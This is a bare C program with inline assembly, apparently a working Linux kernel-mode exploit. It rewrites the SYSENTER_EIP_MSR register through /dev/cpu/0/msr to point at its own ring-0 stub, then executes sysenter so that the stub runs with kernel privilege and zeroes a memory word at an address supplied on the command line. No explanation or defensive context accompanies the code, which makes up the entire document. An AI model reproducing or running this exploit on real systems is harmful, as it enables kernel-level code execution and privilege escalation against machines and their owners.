#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>
#define SYSENTER_EIP_MSR 0x176
u_int64_t msr;
unsigned long ourstack[65536];
u_int64_t payload_data[16];
extern void *_ring0;
extern void *_ring0_end;
void ring0( void )
{
__asm volatile ( ".globl _ring0\n"
"_ring0:\n"
".intel_syntax noprefix\n"
".code64\n"
"mov esp, ecx\n"
"push rax\n"
"push rbx\n"
"push rcx\n"
"push rdx\n"
"mov rcx, qword ptr [rbx+8]\n"
"test rcx, rcx\n"
"jz skip_write\n"
"mov dword ptr [rcx], 0\n"
"skip_write:\n"
"mov ecx, 0x176\n"
"mov eax, dword ptr [rbx]\n"
"mov edx, dword ptr [rbx+4]\n"
"wrmsr\n"
"pop rdx\n"
"pop rcx\n"
"pop rbx\n"
"pop rax\n"
"sti\n"
"sysexit\n"
".code32\n"
".att_syntax prefix\n"
".global _ring0_end\n"
"_ring0_end:\n"
);
}
unsigned long saved_stack;
int main( int argc, char *argv[])
{
cpu_set_t set;
int msr_fd;
int ret;
u_int64_t new_msr;
struct sched_param sched;
u_int64_t resolved_addr = 0ULL;
if (argc == 2)
resolved_addr = strtoull(argv[1], NULL, 16);
/* can do this without privilege */
mlock(_ring0, (unsigned long )_ring0_end - (unsigned long )_ring0);
mlock(&payload_data, sizeof (payload_data));
CPU_ZERO(&set);
CPU_SET(0, &set);
sched.sched_priority = 99;
ret = sched_setscheduler(0, SCHED_FIFO, &sched);
if (ret) {
fprintf (stderr, "Unable to set priority.\n" );
exit (1);
}
ret = sched_setaffinity(0, sizeof (cpu_set_t), &set);
if (ret) {
fprintf (stderr, "Unable to set affinity.\n" );
exit (1);
}
msr_fd = open( "/dev/cpu/0/msr" , O_RDWR);
if (msr_fd < 0) {
msr_fd = open( "/dev/msr0" , O_RDWR);
if (msr_fd < 0) {
fprintf (stderr, "Unable to open /dev/cpu/0/msr\n" );
exit (1);
}
}
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
ret = read(msr_fd, &msr, sizeof (msr));
if (ret != sizeof (msr)) {
fprintf (stderr, "Unable to read /dev/cpu/0/msr\n" );
exit (1);
}
payload_data[0] = msr;
payload_data[1] = resolved_addr;
printf ( "Old SYSENTER_EIP_MSR = %016llx\n" , msr);
fflush (stdout);
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
new_msr = (u_int64_t)(unsigned long )&_ring0;
printf ( "New SYSENTER_EIP_MSR = %016llx\n" , new_msr);
fflush (stdout);
ret = write(msr_fd, &new_msr, sizeof (new_msr));
if (ret != sizeof (new_msr)) {
fprintf (stderr, "Unable to modify /dev/cpu/0/msr\n" );
exit (1);
}
__asm volatile (
".intel_syntax noprefix\n"
".code32\n"
"mov saved_stack, esp\n"
"lea ecx, ourstack\n"
"lea edx, label2\n"
"lea ebx, payload_data\n"
"sysenter\n"
"label2:\n"
"mov esp, saved_stack\n"
".att_syntax prefix\n"
);
printf ( "Success.\n" );
return 0;
}
|